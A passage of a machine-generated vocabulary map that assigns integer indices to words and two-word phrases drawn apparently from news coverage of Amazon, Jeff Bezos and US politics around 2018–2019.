"subsidizing packages": 112068, "outpace microsoft": 112069, "david roberts": 112070, "york design": 112071, "initiative questions": 112072, "length offering": 112073, "wristband": 112074, "tatler rumour": 112075, "wenxuan": 112076, "320 words": 112077, "carry people": 112078, "mccarthyhouse gop": 112079, "hall deserves": 112080, "accounting firms": 112081, "virginia bezos": 112082, "hq2 need": 112083, "brisk momentum": 112084, "republican congressman": 112085, "worker benefits": 112086, "blackrock": 112087, "kudlow ron": 112088, "individual operating": 112089, "documentary short": 112090, "nsa fbi": 112091, "seemingly response": 112092, "politician laid": 112093, "enquirer afp": 112094, "racial injustice": 112095, "service unlike": 112096, "crew capsule": 112097, "actions threatening": 112098, "marketing professor": 112099, "require report": 112100, "criticize republicans": 112101, "advocates sue": 112102, "investing investment": 112103, "alternative right": 112104, "companionship": 112105, "added ians": 112106, "qualify nominees": 112107, "unplugged": 112108, "null inc_homepage_headline_ab_test": 112109, "siriusxm": 112110, "amazon etsy": 112111, "supports alexa": 112112, "partner working": 112113, "worldwide multi": 112114, "acostas karate": 112115, "ea w5": 112116, "tax amazon": 112117, "incompetent offspring": 112118, "nextplay null": 112119, "blink": 112120, "powerful silicon": 112121, "dollar industry": 112122, "latest campaign": 112123, "sparred": 112124, "ibm general": 112125, "menzel": 112126, "obama good": 112127, "airlines passenger": 112128, "ken meyer": 112129, "paul castronovo": 112130, "shea wrote": 112131, "revelation expressing": 112132, "21st partner": 112133, "reading experts": 112134, "565 million": 112135, "hudgins observed": 112136, "consultants trump": 112137, "states technology": 112138, "praised ceos": 112139, "start businesses": 112140, "ecl panagora": 112141, "recoup": 112142, "long rhetorical": 112143, "ago estimize": 112144, "reuters gm": 112145, "whatsappshareelement attr": 112146, "politics reports": 112147, "brazilian soccer": 112148, "support rise": 112149, "impose costs": 112150, "assume earlier": 112151, "company woo": 112152, "businesses wbes": 112153, "mass success": 112154, "tons compared": 112155, "detected severe": 112156, "cove": 112157, "scrubbed save": 112158, "libertarian speech": 112159, "blamed amazon": 112160, "game box": 112161, "photo cityoftoronto": 112162, "ryan release": 112163, "changes designed": 112164, "self funded": 112165, "signs advertising": 112166, "ginger gibson": 112167, "electrical brands": 112168, "competitive contract": 112169, "exec tim": 112170, "federal disaster": 112171, "giant cease": 112172, "113 million": 112173, "mumbai tesla": 112174, "religious pursuits": 112175, "walmart strong": 112176, "general takeaway": 112177, "creativity culture": 112178, "extract better": 112179, "amp": 112180, "hearing allegations": 112181, "finalists wapo": 112182, "afghan constitution": 112183, "care ambitions": 112184, "company correspondence": 112185, "a4ee s1": 112186, "alexa charcoal": 112187, "farc": 112188, "denounced communism": 112189, "financial health": 112190, "absurd sanders": 112191, "way talks": 112192, "home delivery": 112193, "2018 high": 112194, "fuel consumption": 112195, "billion enterprise": 112196, "orange makeup": 112197, "unlabeled": 112198, "previously asserted": 112199, "locker": 112200, "fast facts": 112201, "trumps trade": 112202, "putnam sons": 112203, "began trading": 112204, "stern staying": 112205, "tested methods": 112206, "warren mandate": 112207, "safe story": 112208, "taxpayers advertisement": 112209, "size washington": 112210, "fairfax": 112211, "khairul anwar": 112212, "massive platform": 112213, "bankruptcies": 112214, "state camping": 112215, "database peek": 112216, "500 sector": 112217, "longer enforced": 112218, "processing center": 112219, "hazing": 112220, "love child": 112221, "singles": 112222, "simply juicy": 112223, "stern book": 112224, "stuff pointing": 112225, "doublespeak": 112226, "especially complicated": 112227, "research": 112228, "unaware michael": 112229, "officials decisions": 112230, "nonpartisan manner": 112231, "opposites": 112232, "competitive position": 112233, "globe thebrowser": 112234, "comments read": 112235, "2007 virginia": 112236, "2007 amazon": 112237, "375 charter": 112238, "businesses little": 112239, "usually fall": 112240, "cooperated": 112241, "fiscal sustainability": 112242, "devil bargain": 112243, "asoga contact": 112244, "daily cummings": 112245, "lisa kohn": 112246, "boycott apple": 112247, "extensive investigation": 112248, "resumes black": 112249, "dp b07qmsx3wd": 112250, "chief carmen": 112251, "halfhearted signature": 112252, "global market": 112253, "indulge": 112254, "uncovering unexpected": 112255, "countries wikileak": 112256, "stuffing": 112257, "founder oracle": 112258, "company exposure": 112259, "4k people": 112260, "cnn reporter": 112261, "inflow": 112262, "okeechobee fla": 112263, "trash cans": 112264, "senator liz": 112265, "live broadcasts": 112266, "ipo source": 112267, "winsoncin": 112268, "emailed bezos": 112269, "publishing arm": 112270, "america employment": 112271, "florida legal": 112272, "flops": 112273, "smile": 112274, "privacy violations": 112275, "tree 2018": 112276, "rightist general": 112277, "employed blackmail": 112278, "resists unionization": 112279, "hike sanders": 112280, "company began": 112281, "incorrect siding": 112282, "new shoes": 112283, "critics seeking": 112284, "developing blue": 112285, "carrot": 112286, "story households": 112287, "recount gas": 112288, "creating tech": 112289, "sending signal": 112290, "wasn addictive": 112291, "heard": 112292, "amazon ride": 112293, "p1rjfrpwte": 112294, "conveniently located": 112295, "times citing": 112296, "molly russell": 112297, "wrote hopefully": 112298, "fy17 fy18": 112299, "amazon takes": 112300, "johnston": 112301, "strange demonic": 112302, "mes": 112303, "sponsor": 112304, "shudders": 112305, "rally amazon": 112306, "statistics accessed": 112307, "giant online": 112308, "site regualar": 112309, "bassin": 112310, "environment haaland": 112311, "satchel": 112312, "promote reports": 112313, "10000": 112314, "merchants amazon": 112315, "bubble study": 112316, "today released": 112317, "president travels": 112318, "astronomically": 112319, "walmart site": 112320, "inject": 112321, "gnrc hospitals": 112322, "dylan": 112323, "date digging": 112324, "today quite": 112325, "elected officials": 112326, "decades twitter": 112327, "story german": 112328, "usps group": 112329, "receives walk": 112330, "cranberry sauce": 112331, "a4ee p0": 112332, "international brexit": 112333, "strike employees": 112334, "developer president": 112335, "repeal voter": 112336, "open markets": 112337, "hour warehouse": 112338, "technology lock": 112339, "davidson mark": 112340, "includes routers": 112341, "handwritten": 112342, "neighbor microsoft": 112343, "trump argued": 112344, "job possibly": 112345, "airways knocked": 112346, "questions questions": 112347, "group allegedly": 112348, "really care": 112349, "seinfeld": 112350, "cried bloody": 112351, "compromise": 112352, "headquarters dubbed": 112353, "councilman jimmy": 112354, "tweeted word": 112355, "colorado": 112356, "gayle john": 112357, "small thing": 112358, "watch live": 112359, "fed crackdown": 112360, "rate box": 112361, "year primarily": 112362, "buck stops": 112363, "rj hottovy": 112364, "main stream": 112365, "adds angst": 112366, "history numerous": 112367, "daniels triggered": 112368, "reporters signed": 112369, "amberkira live": 112370, "staffers": 112371, "league manager": 112372, "tycoons": 112373, "impersonal north": 112374, "computing artificial": 112375, "legislation governor": 112376, "diane": 112377, "better investment": 112378, "critical journalists": 112379, "wirtschaftswoche german": 112380, "jared rizzi": 112381, "retail diverse": 112382, "long haul": 112383, "won consider": 112384, "follow mother": 112385, "amazon service": 112386, "new lords": 112387, "says deutsche": 112388, "chef gordon": 112389, "house fortune": 112390, "stalking subject": 112391, "fin24": 112392, "lucy malouf": 112393, "statement announcing": 112394, "founder jamie": 112395, "jeong recently": 112396, "ne published": 112397, "pixar friends": 112398, "develop original": 112399, "zama": 112400, "lasting substances": 112401, "points": 112402, "proposed additional": 112403, "shipments fedex": 112404, "trump agents": 112405, "protecting people": 112406, "sciences campus": 112407, "cardinal clash": 112408, "equitable present": 112409, "titled fear": 112410, "market clearly": 112411, "minister giovanni": 112412, "joe actually": 112413, "supporting museums": 112414, "ceo owns": 112415, "ttrolling trump": 112416, "conservation bolsonaro": 112417, "announcing amazon": 112418, "overwhelming consensus": 112419, "year win": 112420, "sway": 112421, "greene east": 112422, "providing necessary": 112423, "seraph chelsea": 112424, "similar strategy": 112425, "cassell pulled": 112426, "weekend excuse": 112427, "technology wrote": 112428, "effectively eliminate": 112429, "washington economic": 112430, "members plan": 112431, "alabama stephanie": 112432, "pacify growing": 112433, "data crunching": 112434, "tensions patients": 112435, "amazon continuously": 112436, "shares blume": 112437, "robot intelligence": 112438, "brothers signaled": 112439, "flooding michael": 112440, "inspirational religious": 112441, "augustine": 112442, "analyst aaron": 112443, "boneheadalert": 112444, "profile public": 112445, "earlier michael": 112446, "game saved": 112447, "ceos released": 112448, "rot amazon": 112449, "imagined read": 112450, "500 closed": 112451, "aimovig": 112452, "excellence": 112453, "bezos serving": 112454, "greene hq4": 112455, "early 1980s": 112456, "ponce": 112457, "best amazon": 112458, "typical gold": 112459, "john frieda": 112460, "extreme political": 112461, "retailer offered": 112462, "source american": 112463, "barclays follow": 112464, "includes multiple": 112465, "smollett": 112466, "magazine friends": 112467, "hoodies loafers": 112468, "dissected": 112469, "completion date": 112470, "seconds london": 112471, "hasn pulled": 112472, "dilma": 112473, "content algorithms": 112474, "mines": 112475, "budget smartphone": 112476, "control isn": 112477, "reaching 4044": 112478, "performance metrics": 112479, "portfolio bp": 112480, "lately 2018": 112481, "frigid temperatures": 112482, "nemmqxvj07 greg": 112483, "particular los": 112484, "dogs love": 112485, "guys": 112486, "oversight using": 112487, "luis": 112488, "claimed enquirer": 112489, "labor turnover": 112490, "battalion": 112491, "deadline valentine": 112492, "grouped": 112493, "gilt": 112494, "america west": 112495, "years cicilline": 112496, "department public": 112497, "amazon eve": 112498, "begin leaving": 112499, "separate questions": 112500, "hbo": 112501, "immense wealth": 112502, "dollar guaranteed": 112503, "sabzi": 112504, "2018 justice": 112505, "staten": 112506, "amazonians penned": 112507, "institutional security": 112508, "bezos wants": 112509, "power response": 112510, "cut prices": 112511, "massachusetts vermont": 112512, "goods fields": 112513, "monopsony power": 112514, "add_commas": 112515, "job interviews": 112516, "cloud looks": 112517, "store rage": 112518, "uspc": 112519, "trump pecker": 112520, "year cyber": 112521, "department advisories": 112522, "instance vine": 112523, "competitor product": 112524, "customer methods": 112525, "price benefits": 112526, "cowboy": 112527, "sort information": 112528, "lawn decorations": 112529, "reuters nvidia": 112530, "welcome": 112531, "company declined": 112532, "hopkins michael": 112533, "election campaigns": 112534, "woes market": 112535, "cato institute": 112536, "used search": 112537, "really challenging": 112538, "bloomberg spencer": 112539, "global newspaper": 112540, "krupnick million": 112541, "bloomberg 2018": 112542, "including analysts": 112543, "companies sluggish": 112544, "accurate newspaper": 112545, "texts dms": 112546, "political hatchet": 112547, "nextplay currentvidobj": 112548, "world media": 112549, "base brazil": 112550, "amazon lead": 112551, "boys working": 112552, "patrick": 112553, "calderone": 112554, "words arrived": 112555, "andrew sheivachman": 112556, "california american": 112557, "sic government": 112558, "finalizes": 112559, "stevens wsj": 112560, "charging sales": 112561, "picks apart": 112562, "questions continue": 112563, "divorcing implicitly": 112564, "lion valentines": 112565, "diamond sale": 112566, "accessos as_pez": 112567, "upper east": 112568, "federal lawsuit": 112569, "year career": 112570, "big project": 112571, "pacific sydney": 112572, "ethical standard": 112573, "shadow workforce": 112574, "away biggest": 112575, "market sign": 112576, "anderson arena": 112577, "democrats encryption": 112578, "chairman corey": 112579, "left puzzled": 112580, "befriends highly": 112581, "sep": 112582, "receiving tax": 112583, "law set": 112584, "iranian american": 112585, "amzn threw": 112586, "giving mccain": 112587, "downriver suburbs": 112588, "waterfront public": 112589, "tech executives": 112590, "gaetz thank": 112591, "examining ties": 112592, "enu blogspot": 112593, "meandering road": 112594, "george ryan": 112595, "school hid": 112596, "week just": 112597, "seconds michael": 112598, "fatima": 112599, "samsung according": 112600, "industry rivalries": 112601, "winning series": 112602, "suicides foxconn": 112603, "built worldwide": 112604, "increased scrutiny": 112605, "election broke": 112606, "poll better": 112607, "conducting second": 112608, "alleged sexting": 112609, "commerce succeeds": 112610, "lip": 112611, "texting nude": 112612, "underway dow": 112613, "lisota": 112614, "democraticpoliticians saying": 112615, "porch": 112616, "twitter targeting": 112617, "buy christmas": 112618, "fund independent": 112619, "launch called": 112620, "hazing scandal": 112621, "unfilmable": 112622, "ttph": 112623, "tax days": 112624, "target takes": 112625, "logjam": 112626, "occurred woodbridge": 112627, "follows similar": 112628, "general contractors": 112629, "bizarre slogan": 112630, "research organization": 112631, "ethnocide featured": 112632, "year walmart": 112633, "discipline ways": 112634, "dropped bomb": 112635, "recommendations related": 112636, "finance division": 112637, "sales drop": 112638, "funding mechanisms": 112639, "waned": 112640, "requirements exist": 112641, "story regardless": 112642, "california eventually": 112643, "mysterious blue": 112644, "fund official": 112645, "fresh fetal": 112646, "fare brian": 112647, "day jack": 112648, "bongo": 112649, "amazon programmers": 112650, "theydiscussed": 112651, "million month": 112652, "offsety": 112653, "store pix11news": 112654, "cooking albert": 112655, "retaliatory": 112656, "government program": 112657, "minerva studiom": 112658, "singh ceo": 112659, "voting precincts": 112660, "vocally": 112661, "libya netflix": 112662, "website records": 112663, "hurt cnn": 112664, "protagonist": 112665, "beginning sentence": 112666, "president normally": 112667, "vancouversun": 112668, "conservatives potential": 112669, "balance sheets": 112670, "unlawful inconsistent": 112671, "republican desperation": 112672, "offended lefties": 112673, "slogan slavery": 112674, "contract burning": 112675, "list version": 112676, "father did": 112677, "sport money": 112678, "year bezos": 112679, "profit prisons": 112680, "video clip": 112681, "vaheesan policy": 112682, "nu2bvlegd1": 112683, "helped bring": 112684, "company history": 112685, "industry according": 112686, "152 000": 112687, "2015 backed": 112688, "included fancy": 112689, "cnn did": 112690, "included lavish": 112691, "twitter carrell": 112692, "longer sells": 112693, "haven destitute": 112694, "ship parcels": 112695, "run state": 112696, "despite 2016": 112697, "fell fraction": 112698, "collecting local": 112699, "revolvers officials": 112700, "workplace sanders": 112701, "high million": 112702, "york investors": 112703, "negligible value": 112704, "enterprises link": 112705, "entertainment event": 112706, "v0 ja": 112707, "weirdralph weirdralph": 112708, "kids separated": 112709, "investment research": 112710, "considered marital": 112711, "praising jeff": 112712, "tesla amazon": 112713, "normie": 112714, "company iac": 112715, "ordinarily wouldn": 112716, "open robot": 112717, "post things": 112718, "king hodder": 112719, "51m editorializes": 112720, "drone operations": 112721, "house phil": 112722, "bezos holding": 112723, "troops prematurely": 112724, "regular price": 112725, "behavior think": 112726, "gangster caught": 112727, "navy rear": 112728, "month took": 112729, "bid processes": 112730, "inelections": 112731, "music copyright": 112732, "digest handful": 112733, "ceased": 112734, "multiple awards": 112735, "bigfoot": 112736, "charlie baker": 112737, "facebook uk": 112738, "caps nearly": 112739, "isn afraid": 112740, "landing crystal": 112741, "technical issues": 112742, "wrote president": 112743, "justice reporter": 112744, "commercial businesses": 112745, "figures inside": 112746, "quarter stopped": 112747, "campaign push": 112748, "airbnb uber": 112749, "suing amazon": 112750, "icon gene": 112751, "mcdonald": 112752, "deals people": 112753, "visible businesses": 112754, "bullied": 112755, "planning big": 112756, "bright horizons": 112757, "points strong": 112758, "memes": 112759, "sai": 112760, "financing organization": 112761, "video spend": 112762, "failures": 112763, "weekend best": 112764, "story effectively": 112765, "arranging hush": 112766, "published pictures": 112767, "2019 red": 112768, "efforts lauren": 112769, "mackenzie half": 112770, "bans controversial": 112771, "national labor": 112772, "fetus person": 112773, "company petrochina": 112774, "google shows": 112775, "accurate prophecies": 112776, "review netflixs": 112777, "destroy magna": 112778, "b8zjiefv0v tim": 112779, "gop focused": 112780, "day tower": 112781, "specific": 112782, "currently home": 112783, "bearish course": 112784, "adblock": 112785, "crude prices": 112786, "company new": 112787, "seattle electronic": 112788, "brothers big": 112789, "bangkok thailand": 112790, "order service": 112791, "republic oct": 112792, "split companies": 112793, "mandatory": 112794, "ad infinitum": 112795, "crisis source": 112796, "comparisons": 112797, "burroughs": 112798, "platforms unauthorized": 112799, "issues facing": 112800, "federal circles": 112801, "supposed subsidy": 112802, "cloud contract": 112803, "advancements": 112804, "boston saying": 112805, "weekday opinion": 112806, "attending college": 112807, "trailing bezos": 112808, "coalatree": 112809, "mellon": 112810, "government trolling": 112811, "night saying": 112812, "fowler": 112813, "better aligned": 112814, "good whiskey": 112815, "quarterly results": 112816, "chemicals": 112817, "commerce telecom": 112818, "strategist remarked": 112819, "final selections": 112820, "ones don": 112821, "reporter making": 112822, "secluded body": 112823, "highly significant": 112824, "showy selection": 112825, "president words": 112826, "directions oil": 112827, "fy17": 112828, "federal commerce": 112829, "amazon region": 112830, "gibney": 112831, "modest price": 112832, "london based": 112833, "immigration surge": 112834, "path hard": 112835, "merely placeholder": 112836, "signed letter": 112837, "head liane": 112838, "ken glueck": 112839, "country ailing": 112840, "globalization anti": 112841, "staggered": 112842, "corrosive effect": 112843, "close plants": 112844, "customers succeed": 112845, "headquarters promising": 112846, "new facial": 112847, "touted": 112848, "session structure": 112849, "ego dan": 112850, "speculation bezos": 112851, "new details": 112852, "publicly praised": 112853, "offloading package": 112854, "court vote": 112855, "cereal": 112856, "ones appear": 112857, "chief staff": 112858, "trends news": 112859, "preacher available": 112860, "taking swipe": 112861, "amassed significant": 112862, "founding father": 112863, "welcomes amazon": 112864, "brittny mejia": 112865, "landing page": 112866, "growing rate": 112867, "nuisance power": 112868, "precedence regarding": 112869, "believe illegally": 112870, "bob fredericks": 112871, "sun protection": 112872, "received rebate": 112873, "week feel": 112874, "andrew harnik": 112875, "cooperation intelligence": 112876, "vetting prospective": 112877, "9th printing": 112878, "family known": 112879, "mystery involving": 112880, "randall": 112881, "cloud server": 112882, "big auto": 112883, "murder case": 112884, "podcast liberals": 112885, "second season": 112886, "yg2nhpt78i amica": 112887, "africa startup": 112888, "alcoa": 112889, "items customs": 112890, "valuable marginal": 112891, "story senator": 112892, "nighttime shadows": 112893, "technological economic": 112894, "involved potential": 112895, "industry worldwide": 112896, "lived": 112897, "attacks escalated": 112898, "called nepotism": 112899, "reported nearly": 112900, "garner": 112901, "handmade isn": 112902, "text pharmacy": 112903, "nasdaq giving": 112904, "contest author": 112905, "canada stated": 112906, "graphic artists": 112907, "official return": 112908, "values yesterday": 112909, "latest commercial": 112910, "new wave": 112911, "politically tinged": 112912, "commerce game": 112913, "severing ties": 112914, "says morthland": 112915, "yea": 112916, "jpg adrian": 112917, "shepard smith": 112918, "style work": 112919, "thrones iconimageurl": 112920, "trade fight": 112921, "return divine": 112922, "1614et": 112923, "deportation": 112924, "2q eps": 112925, "lesther": 112926, "faces political": 112927, "sheet reflects": 112928, "role leading": 112929, "exaggerate given": 112930, "run things": 112931, "doepfner editor": 112932, "directly interfere": 112933, "usps massive": 112934, "trenchcoat wearing": 112935, "year cca": 112936, "2019 cfo": 112937, "combat global": 112938, "10b5": 112939, "richard ojeda": 112940, "potential bulwark": 112941, "mcmanus new": 112942, "economic expansion": 112943, "food visiting": 112944, "revenue partenheimer": 112945, "kew": 112946, "nystrom university": 112947, "lowe companies": 112948, "ai hype": 112949, "christopher wray": 112950, "assault claims": 112951, "unfccc": 112952, "cannes women": 112953, "pay 119": 112954, "ceo power": 112955, "dame": 112956, "cantwell": 112957, "officially proposing": 112958, "marketwatch despite": 112959, "shoddiest": 112960, "overcoming objections": 112961, "ramsay rapper": 112962, "reorganization amazon": 112963, "checking accounts": 112964, "upside": 112965, "article titled": 112966, "180000 2018": 112967, "lenses": 112968, "newyork times": 112969, "political candidate": 112970, "hampshire institute": 112971, "peace agreement": 112972, "campbell respected": 112973, "cyrillic": 112974, "bernstein founder": 112975, "ticks sims": 112976, "mexico officials": 112977, "solicit": 112978, "killed khashoggi": 112979, "scrutinise": 112980, "buy surgical": 112981, "disruptors companies": 112982, "shipped ultimately": 112983, "penis selfies": 112984, "regularly slams": 112985, "sp500 comptemptext": 112986, "perfect options": 112987, "program adds": 112988, "easily acquire": 112989, "think sort": 112990, "sporting events": 112991, "opinion walmart": 112992, "ceos jeff": 112993, "european ties": 112994, "ventures told": 112995, "tools": 112996, "men seize": 112997, "renewed investigation": 112998, "criticism opposition": 112999, "chairs cross": 113000, "angeles": 113001, "fistfight": 113002, "increase wages": 113003, "recent bipartisan": 113004, "2018 government": 113005, "opening chain": 113006, "longest": 113007, "pay costs": 113008, "chris edelson": 113009, "politic ready": 113010, "root anger": 113011, "government decides": 113012, "cruze vehicles": 113013, "fucking asshole": 113014, "epidemic second": 113015, "maloney stated": 113016, "kickstarter ends": 113017, "royal random": 113018, "israeli retail": 113019, "detach": 113020, "helping middle": 113021, "laundry detergent": 113022, "biggest supporters": 113023, "new task": 113024, "freedom long": 113025, "spacecraft": 113026, "firm followed": 113027, "hampshire double": 113028, "little bezos": 113029, "apparent democrats": 113030, "teaches courses": 113031, "water supply": 113032, "trump security": 113033, "produced recommendations": 113034, "company revealed": 113035, "public format": 113036, "251": 113037, "sites 2018": 113038, "getty amazon": 113039, "incoming acting": 113040, "shipped trump": 113041, "barry lynn": 113042, "harbor maryland": 113043, "women leader": 113044, "masterstroke": 113045, "varney responded": 113046, "discount refers": 113047, "purchase toilet": 113048, "relentless climb": 113049, "gregg": 113050, "office practices": 113051, "wife filing": 113052, "media announced": 113053, "amazon replied": 113054, "help individuals": 113055, "preaker": 113056, "codes career": 113057, "prior explanations": 113058, "violating trade": 113059, "place leased": 113060, "eyes continue": 113061, "bible turns": 113062, "folly magnum": 113063, "country forestry": 113064, "french airstrikes": 113065, "months wearing": 113066, "new internal": 113067, "urgent requests": 113068, "department jeff": 113069, "making political": 113070, "dog wyatt": 113071, "insisted sadler": 113072, "prayer ceremony": 113073, "boy vermont": 113074, "600x400 getty_72664757_387844": 113075, "jubeir saudi": 113076, "just approved": 113077, "today revenge": 113078, "46hrnjigkz michael": 113079, "new washington": 113080, "separating youngsters": 113081, "related moneymaking": 113082, "process crude": 113083, "demand action": 113084, "week marked": 113085, "administration reversed": 113086, "profit corporation": 113087, "suggest dark": 113088, "prior suits": 113089, "land long": 113090, "postponing": 113091, "update globenewswire": 113092, "apcustomersupport": 113093, "baltimore": 113094, "fuel": 113095, "maxx": 113096, "feezt58pfz secret": 113097, "suicidal thoughts": 113098, "000 cities": 113099, "states britain": 113100, "balance favors": 113101, "r4ee o9x": 113102, "diego state": 113103, "trumpidiotno1": 113104, "worlds largest": 113105, "agreed share": 113106, "reported iphone": 113107, "constant sparring": 113108, "financial polls": 113109, "cristina known": 113110, "nominate william": 113111, "statesmen": 113112, "baring attempts": 113113, "winfrey supported": 113114, "airspace": 113115, "bharatiya": 113116, "biotech campus": 113117, "retellings": 113118, "autonomy allowing": 113119, "alabama mall": 113120, "casino company": 113121, "analytics digital": 113122, "needham": 113123, "liability partnership": 113124, "remote servers": 113125, "exiles watching": 113126, "did takedown": 113127, "median compensation": 113128, "locations washington": 113129, "fleeting getty": 113130, "closely read": 113131, "america pecking": 113132, "mattmackowiak filing": 113133, "facto force": 113134, "paper failure": 113135, "regulating google": 113136, "explicitly defined": 113137, "oppression poverty": 113138, "wonka ish": 113139, "unusual twist": 113140, "weather weather": 113141, "piracy trafficking": 113142, "newest book": 113143, "time cities": 113144, "conquering": 113145, "nasdaq tumble": 113146, "arrived coincidentally": 113147, "amazon locations": 113148, "365": 113149, "horrific wine": 113150, "carter hapyhairstylist": 113151, "f1 veteran": 113152, "nicknamed mexican": 113153, "battles amazon": 113154, "required": 113155, "john edwards": 113156, "striking deal": 113157, "family separations": 113158, "filmmakers": 113159, "mass shootings": 113160, "dressed thinking": 113161, "fake russian": 113162, "voicemail": 113163, "certified organic": 113164, "hitting streak": 113165, "crowd": 113166, "including taxes": 113167, "workers complaints": 113168, "poehler": 113169, "news satire": 113170, "founder nbc": 113171, "consider trump": 113172, "bezos arrive": 113173, "snopes fact": 113174, "boy usps": 113175, "windmills new": 113176, "media consumption": 113177, "waswell": 113178, "customers best": 113179, "year staggering": 113180, "political period": 113181, "address local": 113182, "latest master": 113183, "president really": 113184, "delivery personnel": 113185, "writes stores": 113186, "police officers": 113187, "facebook society": 113188, "cnl_global_nav_background_gradient_start null": 113189, "brazilian forest": 113190, "wasn political": 113191, "irs code": 113192, "documents interview": 113193, "quarter leaving": 113194, "discretion": 113195, "amazon removed": 113196, "worker pay": 113197, "defense secretary": 113198, "financial institution": 113199, "enmity": 113200, "suggests providing": 113201, "today brought": 113202, "different depending": 113203, "tragic event": 113204, "helped compile": 113205, "henry winkler": 113206, "special deal": 113207, "takeadvantage": 113208, "cafc": 113209, "court justification": 113210, "directly embedded": 113211, "ftc commissioner": 113212, "newsweek hot": 113213, "anna fox": 113214, "pot product": 113215, "egg traeger": 113216, "provide breakdown": 113217, "important customers": 113218, "critical publication": 113219, "hr head": 113220, "mesrobian": 113221, "don ask": 113222, "disaster reliefaccounts": 113223, "oscars florida": 113224, "closely located": 113225, "makes winning": 113226, "tagsamazon": 113227, "exploit family": 113228, "club charged": 113229, "alexa forbes": 113230, "chuck tells": 113231, "upended main": 113232, "feel asconfident": 113233, "malinowski fromnew": 113234, "balart": 113235, "policy pronouncement": 113236, "nasa bezos": 113237, "analytica used": 113238, "paper mentions": 113239, "man willing": 113240, "repeatedly insisted": 113241, "ago period": 113242, "homelessness including": 113243, "portfolios": 113244, "clearances record": 113245, "helped democratize": 113246, "largest metropolis": 113247, "anchor tenant": 113248, "believes president": 113249, "having political": 113250, "prices fewer": 113251, "unprecedented decade": 113252, "parental": 113253, "fintech": 113254, "free thousands": 113255, "provide emergency": 113256, "4chan": 113257, "hawke": 113258, "kingston logistics": 113259, "theme park": 113260, "fell asleep": 113261, "77482": 113262, "t5e": 113263, "obama live": 113264, "gay stolberg": 113265, "rotting": 113266, "accusation": 113267, "putnam wants": 113268, "paper parent": 113269, "flash crash": 113270, "weren authorized": 113271, "armed service": 113272, "campaign spent": 113273, "tucker shocks": 113274, "index tend": 113275, "program managers": 113276, "google broken": 113277, "viral photo": 113278, "support modest": 113279, "pro worker": 113280, "patterns": 113281, "pot": 113282, "good projects": 113283, "governance bloomberg": 113284, "definitely city": 113285, "conference alexandria": 113286, "account hall": 113287, "tussles involving": 113288, "strs": 113289, "advisers": 113290, "corridor": 113291, "revenue delivering": 113292, "putin summit": 113293, "brainer": 113294, "aim\u00e9": 113295, "newest board": 113296, "home runs": 113297, "federal legislation": 113298, "businesses driving": 113299, "220 points": 113300, "retailers remain": 113301, "haddad": 113302, "paulson 2018": 113303, "syckle": 113304, "global publication": 113305, "repertory": 113306, "sources include": 113307, "signed legislation": 113308, "112": 113309, "100 cbs": 113310, "hot air": 113311, "book publisher": 113312, "tru stated": 113313, "diana schappert": 113314, "2018 466": 113315, "random happened": 113316, "james bond": 113317, "servers motherboards": 113318, "hensinki": 113319, "pain management": 113320, "video nearly": 113321, "house repeatedly": 113322, "term risks": 113323, "television shows": 113324, "marie harf": 113325, "pardon posted": 113326, "giuliani told": 113327, "great stock": 113328, "payoff": 113329, "cnn slogan": 113330, "hijacking causing": 113331, "alongside apple": 113332, "undaunted": 113333, "recently overturned": 113334, "economist larry": 113335, "formulate": 113336, "rid japan": 113337, "actually set": 113338, "info quickly": 113339, "soften potential": 113340, "recover billions": 113341, "risk appetites": 113342, "reassigning": 113343, "child credit": 113344, "campuses amazon": 113345, "rules sought": 113346, "variable": 113347, "important news": 113348, "post roe": 113349, "sold according": 113350, "mark major": 113351, "net lisa": 113352, "promote satanism": 113353, "carrier companies": 113354, "premium buyers": 113355, "q2 forecasts": 113356, "problems raised": 113357, "decision fed": 113358, "delightfully": 113359, "avoiding job": 113360, "say wait": 113361, "company massive": 113362, "response amzn": 113363, "today published": 113364, "lob": 113365, "lucrative monopoly": 113366, "rates according": 113367, "beyer 2019": 113368, "trump detests": 113369, "team working": 113370, "sounding upbeat": 113371, "giant alibaba": 113372, "graduate": 113373, "seeing basically": 113374, "sharing arrangements": 113375, "request reportedly": 113376, "boy believing": 113377, "2019 gasol": 113378, "2635 702": 113379, "states commerce": 113380, "specifically recruit": 113381, "secretary wrote": 113382, "costa constantinides": 113383, "flick set": 113384, "commercial included": 113385, "foreign wars": 113386, "presidential ambitions": 113387, "ban jan": 113388, "illegal actions": 113389, "stocks bounced": 113390, "total refunds": 113391, "travel kits": 113392, "toddbishop": 113393, "process soon": 113394, "expresses": 113395, "findings added": 113396, "argument doesn": 113397, "sniped": 113398, "rates tax": 113399, "forces saudi": 113400, "advisors donnelly": 113401, "national emergencying": 113402, "crackedmarket jani": 113403, "briefs google": 113404, "lyon street": 113405, "complete falsehood": 113406, "yellow folk": 113407, "making information": 113408, "biased coverage": 113409, "mind meltingly": 113410, "direct incentives": 113411, "pressing stories": 113412, "labor 760": 113413, "aerospace giant": 113414, "kindles": 113415, "smugness": 113416, "hosts bret": 113417, "ad midterms": 113418, "stock won": 113419, "amazon spokeswoman": 113420, "just good": 113421, "poll shows": 113422, "608m amazon": 113423, "book shortly": 113424, "big does": 113425, "iconic red": 113426, "reauth": 113427, "dominant presence": 113428, "pfas": 113429, "big reason": 113430, "agendas tabloids": 113431, "djax_mobileadserver": 113432, "expects organic": 113433, "reading moving": 113434, "audit firms": 113435, "company owned": 113436, "selling momentum": 113437, "nbc summed": 113438, "price jacob": 113439, "seattle tara": 113440, "hambach": 113441, "ftc google": 113442, "gay governor": 113443, "hanging chads": 113444, "century including": 113445, "women stream": 113446, "creators focus": 113447, "star trek": 113448, "pentagon demands": 113449, "fbi james": 113450, "pay taxes": 113451, "world mackenzie": 113452, "videos grids": 113453, "photo william": 113454, "state companies": 113455, "9th": 113456, "usps costs": 113457, "amazon honcho": 113458, "wait partner": 113459, "1997 used": 113460, "republicans generally": 113461, "company usual": 113462, "autobot logo": 113463, "farrow shared": 113464, "governments owning": 113465, "just newon": 113466, "discernible competitive": 113467, "isn response": 113468, "eclipsed gates": 113469, "vegas area": 113470, "cleaner": 113471, "royally screwed": 113472, "community zuker": 113473, "thrones 2019": 113474, "reported extensively": 113475, "felling": 113476, "allegations": 113477, "play water": 113478, "flippers": 113479, "enquirer parent": 113480, "quashing": 113481, "prices attacking": 113482, "credits 100": 113483, "grant making": 113484, "slides": 113485, "press time": 113486, "sgn nyc": 113487, "charlie kaijo": 113488, "opened trading": 113489, "gained significantly": 113490, "mandatorily taxed": 113491, "innocent children": 113492, "backlash": 113493, "product management": 113494, "incredibly bad": 113495, "operation launched": 113496, "crowded transportation": 113497, "common voices": 113498, "walmart really": 